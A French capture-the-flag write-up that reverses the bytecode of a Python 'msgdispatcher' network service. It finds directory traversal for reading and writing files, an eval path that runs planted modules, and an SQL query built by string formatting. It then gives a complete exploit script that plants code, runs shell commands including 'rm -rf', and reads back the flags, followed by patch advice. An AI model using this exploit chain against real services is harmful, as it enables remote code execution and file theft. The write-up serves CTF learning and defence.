FR EN

Msgdispatcher service

<< Convicts service

Mailgateway service >>

Description fonctionnelle

Le service msgdispatcher était un exécutable python 2.6, compilé. Pour une raison que j'ignore, les différents services de décompilation échouent sur cet exécutable. Il était donc nécessaire d'introspecter l'exécutable et de faire un peu de reverse sur le bytecode python désassemblé.

En python, la fonction built-in dir() permet de connaître tous les noms globaux attachés à n'importe quel objet :

$ PYTHONPATH=$PATH:. python2.6
>>> mod = __import__("msgdispatcher")
>>> dir(mod)
['COMMAND_DIR', 'ClientManager', 'EMAIL_AGGREGATOR_HOST', 'EMAIL_AGGREGATOR_PORT', 'ERRPARAMS', 'ERRSOCKET', 'MESSAGE_DIR', 'MYSQL_DB', 'MYSQL_HOST', 'MYSQL_PASSWORD', 'MYSQL_USER', 'MySQLdb', 'SMS_AGGREGATOR_HOST', 'SMS_AGGREGATOR_PORT', 'Usage', '__builtins__', '__doc__', '__file__', '__name__', '__package__', 'binascii', 'cleanup', 'debug', 'extend', 'getText', 'getopt', 'libs', 'logging', 'main', 'os', 'random', 'select', 'signal', 'socket', 'start', 'string', 'struct', 'sys', 'threading', 'usage', 'xml']
>>> mod.COMMAND_DIR
'/home/msgdispatcher/commands'
>>> mod.MESSAGE_DIR
'/home/msgdispatcher/messages'
>>> dir(mod.ClientManager)
['_Thread__bootstrap', '_Thread__bootstrap_inner', '_Thread__delete', '_Thread__exc_clear', '_Thread__exc_info', '_Thread__initialized', '_Thread__stop', '__class__', '__delattr__', '__dict__', '__doc__', '__format__', '__getattribute__', '__hash__', '__init__', '__module__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_note', '_set_daemon', '_set_ident', 'daemon', 'getName', 'ident', 'isAlive', 'isDaemon', 'is_alive', 'join', 'name', 'run', 'setDaemon', 'setName', 'start']

On voit donc que ce module a un tas de variables globales. Parmi les deux plus intéressantes, COMMAND_DIR et MESSAGE_DIR. On se rend compte aussi que le module doit se connecter aux autres services smsgateway et mailgateway (via SMS_AGGREGATOR_* et MAIL_AGGREGATOR_*). On trouve aussi les identifiants de connexion de l'utilisateur mulemanager à la base de données MySQL.

Une autre classe paraît particulièrement intéressante, puisque nous avons affaire à un serveur TCP. On voit que c'est une extension de la classe Thread, probablement spawné à chaque connexion. Le module dis nous permet d'inspecter le bytecode de sa méthode run() :

>>> dis.dis(mod.ClientManager.run)
0  LOAD_GLOBAL		0 (debug)
3  JUMP_IF_FALSE	33 (to 39)
6  POP_TOP         
7  LOAD_FAST		0 (self)
10 LOAD_ATTR		1 (logger)
13 LOAD_ATTR		0 (debug)
16 LOAD_CONST		1 ('Thread manages client %s')
19 LOAD_GLOBAL	2 (str)
22 LOAD_FAST		0 (self)
25 LOAD_ATTR		3 (address)
28 CALL_FUNCTION	1
31 BINARY_MODULO        
32 CALL_FUNCTION	1
35 POP_TOP         
36 JUMP_FORWARD	1 (to 40)
[...]

Comme on le voit, le bytecode désassemblé est très lisible pour quiconque connait le python. Par exemple, le bout de code précédent équivaut à :

if debug:
   self.logger.debug("Thread manages client %s"% str(self.address))

Les instructions de branchement sont également très claires, comme on le voit avec le JUMP_IF_FALSE ou le JUMP_FORWARD. En allant un peu plus loin dans le reverse, on voit que ce service a deux commandes, STATUS et SEND. STATUS lit un fichier dans MESSAGE_DIR et renvoie son contenu. SEND prend un message dans un format XML (le même que celui utilisé par sendmessage de muleadmin). De ce message, il extrait un groupe d'utilisateurs de la base de données et leur envoie SMS ou mail via deux autres services locaux smsgateway et mailgateway. tout au long de ce processus, il écrit dans MESSAGE_DIR le statut du traitement du message.

Local File Import

On lit d'abord rapidement le petit code de STATUS :

LOAD_FAST			3 (words)
LOAD_CONST		4 (1)
BINARY_SUBSCR 
STORE_FAST			4 (ident)
LOAD_GLOBAL		11 (open)
LOAD_CONST		5 ('%s/%s')
LOAD_GLOBAL		12 (MESSAGE_DIR)
LOAD_FAST			4 (ident)
BUILD_TUPLE		2
BINARY_MODULO 
LOAD_CONST		6 ('r')
CALL_FUNCTION		2
STORE_FAST			5 (f)

Ce qui équivaut à :

ident = words[1]
f = open("%s/%s"% (MESSAGE_DIR, ident), "r")

La liste word n'est autre que la première ligne reçue, stripée du '\n' et splitée. Le contenu de ce fichier est ensuite lu et renvoyé intégralement. Il est donc possible de lire n'importe quel fichier du système via directory traversal.

Etant données toutes les opérations que fait la commande SEND, le reverse est bien plus long. Voici les bouts de code qui m'ont paru intéressants :

LOAD_FAST			3 (words)
LOAD_CONST		4 (1)
BINARY_SUBSCR 
STORE_FAST			4 (ident)
LOAD_FAST			3 (words)
LOAD_CONST		8 (2)
BINARY_SUBSCR 
STORE_FAST			7 (delim)

[...]					# buf = received bytes until a line containing delim only 

LOAD_GLOBAL		11 (open)
LOAD_CONST		5 ('%s/%s')
LOAD_GLOBAL		12 (MESSAGE_DIR)
LOAD_FAST			4 (ident)
BUILD_TUPLE		2
BINARY_MODULO 
LOAD_CONST		13 ('w+')
CALL_FUNCTION		2
STORE_FAST			5 (f)
LOAD_FAST			5 (f)
LOAD_ATTR			18 (write)
LOAD_CONST		14 ('#RECEIVED\n')
CALL_FUNCTION		1
POP_TOP 
[...]					# doc = buf parsed by xml.minidom module

POP_TOP 
LOAD_GLOBAL		25 (getText)
LOAD_FAST			10 (doc)
LOAD_ATTR			24 (getElementsByTagName)
LOAD_CONST		17 ('subject')
CALL_FUNCTION		1
LOAD_CONST		2 (0)
BINARY_SUBSCR 
LOAD_ATTR			26 (childNodes)
CALL_FUNCTION		1
STORE_FAST			12 (subject)

[...]					# other parsed variables: msgtime, sender, group, msgbody

LOAD_GLOBAL		11 (open)
LOAD_CONST		5 ('%s/%s')
LOAD_GLOBAL		12 (MESSAGE_DIR)
LOAD_FAST			4 (ident)
BUILD_TUPLE		2
BINARY_MODULO 
LOAD_CONST		26 ('a+')
CALL_FUNCTION		2
STORE_FAST			5 (f)
LOAD_FAST			5 (f)
LOAD_ATTR			18 (write)
LOAD_CONST		27 ('#PARSED %s\n')
LOAD_FAST			14 (subject)
BINARY_MODULO 
CALL_FUNCTION		1
POP_TOP 
LOAD_FAST			5 (f)
LOAD_ATTR			15 (close)
CALL_FUNCTION		0
POP_TOP 
LOAD_GLOBAL		27 (MySQLdb)
LOAD_ATTR			28 (connect)
LOAD_GLOBAL		29 (MYSQL_HOST)
LOAD_GLOBAL		30 (MYSQL_USER)
LOAD_GLOBAL		31 (MYSQL_PASSWORD)
LOAD_GLOBAL		32 (MYSQL_DB)
CALL_FUNCTION		4
STORE_FAST			16 (conn)
LOAD_FAST			16 (conn)
LOAD_ATTR			33 (cursor)
CALL_FUNCTION		0
STORE_FAST			17 (cursor)
LOAD_FAST			17 (cursor)
LOAD_ATTR			34 (execute)
LOAD_CONST		28 ('SELECT username FROM groups_users WHERE groupname = %s')
LOAD_FAST			13 (group)
BUILD_LIST			1
CALL_FUNCTION		2
POP_TOP 
LOAD_FAST			17 (cursor)
LOAD_ATTR			35 (fetchall)
CALL_FUNCTION		0
STORE_FAST			18 (users)

[...] 

LOAD_FAST			18 (users)
LOAD_GLOBAL		23 (len)
LOAD_FAST			18 (users)
CALL_FUNCTION		1
LOAD_CONST		2 (0)
COMPARE_OP		2 (==)
JUMP_IF_FALSE		50 (to 1309)

[...] 

LOAD_CONST		0 (None)
1308 RETURN_VALUE

En code un peu plus lisible, ça nous donne :

ident = words[1]
delim = words[2]

[...] # buf = received bytes until a line containing delim only

f = open("%s/%s"% (MESSAGE_DIR, ident), "w+")
f.write("#RECEIVED\n")

[...] # doc = buf parsed by xml.minidom module

subject = getText(doc.getElementsByTagName("subject")[0].childNodes)

[...] # other parsed variables: msgtime, sender, group, msgbody

f = open("%s/%s"% (MESSAGE_DIR, ident), "w+")
f.write("#PARSED %s\n"% (subject))
f.close()
conn = MySQLdb.connect(MYSQL_HOST, MYSQL_USER, MYSQL_PASSWORD, MYSQL_DB)
cursor = conn.cursor()
cursor.execute("SELECT username FROM groups_users WHERE groupname = %s"% group)
users = cursor.fetchall()

[...]

if len(users) == 0:
	[...]
	return
[...]

Pourquoi ce bout de code est intéressant ? En premer lieu parce qu'on y retrouve un directory traversal possible, mais cette fois sur un fichier en écriture. En deuxième lieu car on peut écrire exactement ce que lon veut dans ce fichier, modulo les #RECEIVED et #PARSED. En effet, en passant un groupe non existant, on termine la fonction juste après l'écriture du #PARSED, suivi du sujet que nous fournissons. Comme ce sujet est une simple prise de texte entre deux balises XML, il peut notamment contenir des \n.

Pouvant lire et écrire relativement librement sur le FS, on peut déjà envisager pas mal de choses. L'idéal serait de pouvoir exécuter ce que l'on a déjà pu injecter :

LOAD_FAST			3 (words)
LOAD_CONST		2 (0)
BINARY_SUBSCR 
LOAD_CONST		7 ('SEND')
COMPARE_OP		2 (==)
JUMP_IF_FALSE		2787 (to 3002)
[...]
3002 POP_TOP SETUP_EXCEPT	14 (to 3020)
LOAD_GLOBAL		53 (eval)
LOAD_GLOBAL		54 (extend)
[...]

Dans le cas où la commande n'est pas reconnue, on a un eval(extend) qui mets la puce à l'oreille.

>>> mod.extend
'libs.cleanup(COMMAND_DIR, words)'

On a donc l'utilisation de la fonction cleanup d'un autre module a priori inconnu, qu'on trouve ensuite dans /usr/local/bin/libs.pyc :

>>> import libs
>>> dir(libs)
['KOOL', 'T', '_', '__builtins__', '__doc__', '__file__', '__name__', '__package__', 'a', 'b', 'c', 'cleanup', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'o', 'old_err', 'sys', 'x', 'y', 'z']
>>> dis.dis(libs.cleanup)
[...]
LOAD_GLOBAL			0 (old_err)
LOAD_ATTR				1 (b)
LOAD_CONST			1 (0)
BINARY_SUBSCR 
LOAD_ATTR				2 (strip)
CALL_FUNCTION			0
LOAD_ATTR				3 (replace)
LOAD_CONST			2 ('t_')
LOAD_CONST			3 ('t__')
CALL_FUNCTION			2
LOAD_ATTR				3 (replace)
LOAD_CONST			4 ('msgdispatcher.')
LOAD_CONST			5 ('')
CALL_FUNCTION			2
LOAD_ATTR				3 (replace)
LOAD_CONST			6 ('nds.')
LOAD_CONST			7 ('nd.')
CALL_FUNCTION			2
LOAD_ATTR				3 (replace)
LOAD_CONST			8 (']); mod')
LOAD_CONST			9 (']).__getattribute__(word[0])')
CALL_FUNCTION			2
LOAD_ATTR				4 (split)
LOAD_CONST			10 (';')
CALL_FUNCTION			1
GET_ITER 
86 FOR_ITER				104 (to 193)
STORE_FAST				2 (e)
LOAD_FAST				0 (COMMAND_DIR)
LOAD_ATTR				3 (replace)
LOAD_CONST			11 ('commands')
LOAD_CONST			5 ('')
CALL_FUNCTION			2
STORE_FAST				0 (COMMAND_DIR)
LOAD_GLOBAL			5 (_)
LOAD_FAST				2 (e)
[...] 

Heureusement, la fonction est assez simple à reverser, sinon je pense que j'aurais commencé à perdre la foi. Cette fonction prend une des variables globales du module et effectue quelques replace() simple dessus. Ensuite, elle split le résultat et applique la fonction '_' sur chacun des splits. On cherche donc les quelques maillons manquants :

>>> libs.old_err.b
['sys.path.append(COMMAND_DIR); __import_("msgdispatcher.commands.%s" % word[0]); mod.run()']
>>> libs.old_err.b[0].replace("t_", "t__").replace("msgdispatcher.", "").replace("nds.", "nd.").replace("]); mod", "]).__getattribute__(word[0])").split(";")
['sys.path.append(COMMAND_DIR)', ' __import__("command.%s" % word[0]).__getattribute__(word[0]).run()']
>>> libs._
<built-in function eval>
>>> mod.COMMAND_DIR.replace("commands", "")
'/home/msgdispatcher/'

On obtient donc le dernier élément que l'on cherchait intimement : l'exécution de la méthode run() d'un module de /home/msgdispatcher/command.

Exploitation

Avec tous ces éléments, il y a beaucoup de possibilités d'exploitation. En restant dans l'optique CTF, on cherche donc à trouver les flags dans MESSAGE_DIR:

#!/usr/bin/python

import socket
import sys
import string
import random

# generate random strings
def random_string(size_max, chars=string.ascii_uppercase + string.digits + string.ascii_lowercase, fixed_size=0):
	if fixed_size == 1:
		sz = size_max
	else:
		sz = random.choice(range(size_max))
	if sz == 0:
		sz=1
	return ''.join(random.choice(chars) for x in range(sz))

def sendAndRcv(payload):
	sock = socket.socket()
	sock.connect((sys.argv[1], 31337))
	sock.send(payload)
	rcvd=""
	while 1:
		c = sock.recv(1)
		if len(c) == 0:
			break
		rcvd += c
	return rcvd

delim=random_string(100)
module_name=random_string(34)
filename="IaehAE9TR8kAEKdd"

# Executed when exploit is triggered
script = """
def run():
	import os
	os.system("grep -h flg /home/msgdispatcher/messages/* " + chr(62) + "/home/msgdispatcher/messages/%s 2" + chr(62) + chr(38) + "1") 
	os.system("rm -rf /home/msgdispatcher/command/%s* " + chr(62) + "/dev/null 2" + chr(62) + chr(38) + "1") 
	return
"""% (filename, module_name)

# Payload for script creation
payload="""SEND ../command/%s.py %s
<msg>
	<time>2012-01-16 02:47:29</time>
	<sender>jdoe</sender>
	<group>%s</group>
	<subject>%s</subject>
	<msgbody>sd</msgbody>
</msg>
%s
"""% (module_name, delim, random_string(25), script, delim)

# Create script
sendAndRcv(payload)
# Execute script
sendAndRcv("%s\n"% module_name)
# Get script output
print sendAndRcv("STATUS %s\n"% filename)
Correction de la vulnérabilité

Pas si facile à patcher cette fois, le plus simple reste de patcher avec un proxy applicatif un regexp sur le premier argument de commandes SEND et STATUS, n'autorisant que les alphanumériques, " ", "." et "_". Ceci enlèverait la possibilité de directory traversal qui reste la clé de voute car utilisée pour la création du script et la lecture du résultat (même s'il n'y en avait pas besoin pour la lecture, en particulier en conjonction avec les nombreux services qui peuvent lire dans le /tmp par exemple).

Un hotfix de l'exécutable facile à faire serait de modifier COMMAND_DIR vers un répertoire non-existant afin de supprimer la fonctionnalité du cleanup.

<< Convicts service

Mailgateway service >>

1 message

  1. Anonymous 20/04/17 20:58

    tres bien